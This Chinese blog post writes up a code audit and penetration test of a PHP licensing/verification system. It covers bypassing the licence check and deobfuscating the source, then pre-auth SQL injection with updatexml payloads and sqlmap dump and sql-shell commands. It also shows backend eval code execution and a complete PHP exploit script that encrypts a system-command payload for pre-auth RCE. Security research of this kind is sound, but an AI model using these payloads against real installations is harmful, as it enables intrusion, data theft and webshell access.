记一次渗透实战-代码审计到getshell

字数统计: 3.2k字   |   阅读时长≈ 12分

一次渗透测试遇见的系统，遂进行代码审计

0x0前言

接到任务，需要对一些违法网站做渗透测试......

0x1信息收集

根据提供的目标，打开网站如下

image-20220202171320628.png

在尝试弱口令无果后，根据其特征去fofa以及谷歌搜了半天，期间搜出好多个UI差不多的网站，后来发现其实这些站点都是 UI 做了变动，后端代码都是一样的。最终定位到该系统为某网络验证系统

下载最新版的代码到本地，开始审计。

0x2源码解密

安装完成后

image-20220202172004589.png

打开首页结果弹了没有授权

image-20220202172118800.png

想来应该是需要交钱授权域名才能正常使用。我们回到代码看看，入手是个index.php

image-20220202172435552.png

跟进core/common.php看看

image-20220202172753217.png

被加密了，加密类型是一代魔方。不过猜也猜的出来应该是在这个php文件和远程的一个地址进行了一个通信，判断有没有授权。而在其网站下载源码的时候就有个授权查询功能（见前面图)，大胆猜测一波就是向这个域名的某个 api 发起的请求，所以直接去hosts屏蔽掉这个地址就可以了


接着又发现很多关键文件都存在混淆内容，看起来是 phpjm 类型

image-20220202174320157.png

不过不用慌，我们可以通过动态调试解出来。这里举例Db.php，该 PHP 文件的作用通过名字也可以判断出来作用是封装数据库的方法，所以我们去登录的地方（会和数据库交互）打上断点

image-20220202174619755.png

然后去登录框输入账号密码验证码，点击登录

image-20220202174654140.png

然后执行的流程就会停留在断点处

image-20220202174728677.png

接着F11跟进，就会跳转进Db.php文件中，成功解密得到源代码

image-20220202174839800.png

再格式化美化一下代码，就能舒服的开始审计了

image-20220202174929780.png

其他做了混淆的 PHP 文件也是采用相同的办法获取到源代码，不再赘述

0x3多处前台SQL注入

首先看登录点

image-20220202175108985.png

这里使用了结构化传参，即使我们输入单引号即admin'，最终也会被转义成如下语句到数据库中进行查询username='admin\''，无法闭合单引号。我们继续找其他点。
接下来发现Common.php的类初始化方法里面传入的id参数没有单引号包裹

image-20220202175505063.png

也就是我们传入id=1'的时候经过结构化传参变成了id=1\'，依然多出一个单引号导致 SQL 注入，接下来就是找哪个地方调用了这个类的init办法。
最终我选中了SingleCard.php文件，这里的SingleCard类继承了Common，并且在__construct()使用了父类的init方法

image-20220202175748469.png

之所以我选择该处还有一个重要原因就是，这里没有判断登录，所以是前台的sql注入，这里截图其他判断了登录的地方做个对比

image-20220202180138753.png

测试如下

image-20220202180327652.png

证明存在 SQL 注入之后，就是写 exp 进行利用。这里可以通过盲注的形式去读数据，但耗时比较长，所以我选择通过报错注入的方式

updatexml（）是一个使用不同的xml标记匹配和替换xml块的函数。

updatexml使用时，当xpath_string格式出现错误，mysql则会爆出xpath语法错误（xpath syntax error）

#读取数据库中的表
data=123456&id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

image-20220202180638791.png

不过因为报错注入最长返回长度只有32位，我们可以通过mid()函数控制回显位置

#读取回显内容的第33位开始的60位，因为限制最大返回32，所以回显的是32个长度内容
1 and updatexml(1,mid(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),33,60),1)

image-20220202180804110.png

不过这样依然麻烦，我们通过 sqlmap 指定报错注入来帮我们完成数据读取

python3 sqlmap.py -r 1.txt -p "id" --dbms=mysql --technique=E -D bingxin -T BX_menber -C 'username,password,salt' -
-dump

image-20220202181350225.png

获取到账号密码以及加盐的值之后就可以去 cmd5 解密得到管理员权限。当然因为本地搭建起来的环境，我知道密码，直接admin/admin登录了。

注意：这里只要继承了前面的Common类方法的 php 文件都会存在 SQL 注入，这里就不一一列举了。

0x4后台两处代码执行getshell

当然审计肯定不甘心止步于 SQL 注入，继续尝试是否存在 getshell 的利用链。全局搜索eval函数，发现两处

image-20220202181834684.png

上图中可以看到，这里从数据库的表software中获取了两个字段的值，即encrypt字段和defined_encrypt字段，如果这两个字段我们可控，那么便可以构造代码执行，进而通过命令执行 getshell。逻辑如下

1、首先将 software 表中的字段 encrypt 的值定义给常量 API_ENCRYPT
2、if条件判断如果 API_ENCRYPT 的值为 defined_encrypt，进入eval函数执行，并且其参数为字段 defined_encrypt 的值
3、所以我们只要能设置 software 表中的字段 encrypt 的值为 defined_encrypt，字段 defined_encrypt 的值为 phpinfo(); 就能代码执行

我们去数据库中查看一下software表

image-20220202182024755.png

表中内容为空，我们在后台创建一下

在数据库中看到默认写入encrypt字段的值为authcode，而defined_encrypt字段的值则为空

image-20220202182159495.png

在代码中也证实了这一点

image-20220202182437579.png

接下来找到了一个可以更改这两个字段的方法

image-20220202182749336.png

构造 POST 请求

image-20220202183051545.png

再看一下数据库，更新成功！

image-20220202183126754.png

现在只要是继承了Common类的初始化方法的所有php文件路由方法都能触发eval函数导致代码执行，这里举例几处

image-20220202183718626.png

image-20220202183753338.png

写入 webshell

image-20220202184726357.png

访问触发eval函数执行

image-20220202184457837.png

在web根目录下生成webshell

另一个 eval 函数也是相同的利用思路，放一下利用链图，这里不再赘述

image-20220202185048046.png

image-20220202185134344.png

0x5前台代码执行getshell

可以看到前面的代码执行都是基于能获取到管理员密码明文的前提条件下，如果cmd5解密不出来就没法利用了。所以我们再次开始审计，寻找前台代码执行的利用条件

这里全局搜索，找到call_user_func_array()函数

call_user_func_array ( callable $callback , array $param_arr ) : mixed

作用：调用回调函数，并把一个数组参数作为回调函数的参数

image-20220202192018557.png

可以看到其两个参数都是$data变量中的name和param，我们跟进parseData()查看传参来源

image-20220202192315919.png

发现parseData()方法的作用是对$this->data进行 json 格式的字符串解码，继续往上跟$this->data

image-20220202192536725.png

发现$this->data由bx_decrypt解密而得，继续跟进bx_decrypt方法

image-20220202192743380.png

这里switch有多种加密方式选择，我们前面已经知道数据库中软件的默认加密方式为authcode，所以我们这里选择跟进authcode

image-20220202192852390.png

image-20220202192906612.png

通过代码可以看到authcode方法即包含加密功能也包含解密功能，如果authcode方法第二个参数为空，则进行加密；如果第二个参数为DECODE，则进行解密。

所以我们可以通过这个函数去加密我们的 payload。先返回前面存在call_user_func_array的方法去查看 payload 如何构造，贴关键代码

public function remoteFun()
{
$data = $this->parseData();
empty($data['name']) ? exit(api_json('1402')) : FALSE;
do_action('api_software_remote_fun', [$data]);
eval($this->software['0']['remote']);
if (!function_exists($data['name'])) {
exit(api_json('1401'));
}
$fun_param_num = count(get_fucntion_parameter_name($data['name']));
if ($fun_param_num != '0') {
empty($data['param']) ? exit(api_json('1402')) : FALSE;
$res_param_num = count($data['param']);
if ($fun_param_num != $res_param_num) {
exit(api_json('1403'));
}
} else {
$data['param'] = array();
}
$test = $data['param'];
$testst = $data['name'];
exit(api_json('1408', array('result' => @call_user_func_array($data['name'], $data['param']))));
}

首先我们前面已经知道 payload 的明文形式应该为 json 格式，分析一下remoteFun方法，其中get_fucntion_parameter_name方法代码如下

image-20220202193552280.png

会获取参数个数，即如果我们传入{"name":"system","param":"ls"}，这里 return 为2。

再继续往下看，这段代码通过count获取 param 个数，上述 payload 中，param 只有一个ls，所以将会返回为1

$res_param_num = count($data['param']);

继续往下的判断条件会判断是否相等，如果不相等流程将会停止退出

if ($fun_param_num != $res_param_num) {
exit(api_json('1403'));
}

所以我们最终构造的payload如下，往param中填充多余的一个值，使其数量相等满足 if 条件判断

{"name":"system","param":["ls","dotast"]}

payload已经构造好了，接下来就是将 payload 进行加密。我们看看哪里用到authcode方法进行加密。全局搜索后，发现登录的时候调用过这个方法进行加密

image-20220202194052751.png

所以我们可以构造 exp 如下，exp 中加密需要用到的 key 可以通过上面的前台 SQL 注入读取到

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
setcookie('test', authcode('{"name":"system","param":["ls","123456"]}', '', 'zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw'), time() + 3600, '/');
?>

访问后，加密的payload会回显在Cookie中

image-20220202195019347.png

然后通过remoteFun方法触发call_user_func_array函数代码执行

image-20220202195119930.png

当然，加密部分也不用那么麻烦，因为setcookie回显时只是加了一层URL编码处理，所以加密 payload 脚本也可以写成

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
$a = authcode('{"name":"system","param":["whoami","123456"]}', '', 'zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw');
echo urlencode($a);
?>

image-20220203205039599.png

0x6后台两处代码执行扩大到前台代码执行

前面我们已经知道后台两处代码执行依赖于管理员权限进入后台后，借助路由发起 POST 请求修改数据库的encrypt和defined_encrypt字段，那如果有办法可以不通过管理员权限就能修改数据库字段，不就可以升级成前台的代码执行啦？念头一闪，我们继续回到前台 SQL 点。

image-20220204155646109.png

测试存在 堆叠注入 ！堆叠注入可以干什么？可以对数据库执行增删改操作呀~
用 sqlmap 指定堆叠注入，然后获取 sql-shell 执行 SQL语句

python3 sqlmap.py -r 1.txt --dbms=mysql -p "id"  --technique=S --sql-shell

然后修改数据库字段

image-20220204160034886.png

这里因为堆叠注入是不回显的，所以返回 NULL，其实已经执行了修改操作，我们可以去后台数据库验证一下

image-20220204160126027.png

选择继承了父类Common的init()方法的路由进行测试

image-20220204160147331.png

可以看到执行了phpinfo();，最终成功配合 SQL 将后台代码执行扩大到前台代码执行，最后所有继承了Common类的初始化方法的php文件其路由方法访问都能触发eval函数导致代码执行 getshell

0x7总结

代码审计其实是一项挺耗费心神的工作，但是只要有足够的耐心和坚持，在 getshell 的那一刻还是有很强烈的满足感的，继续加油吧~


赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。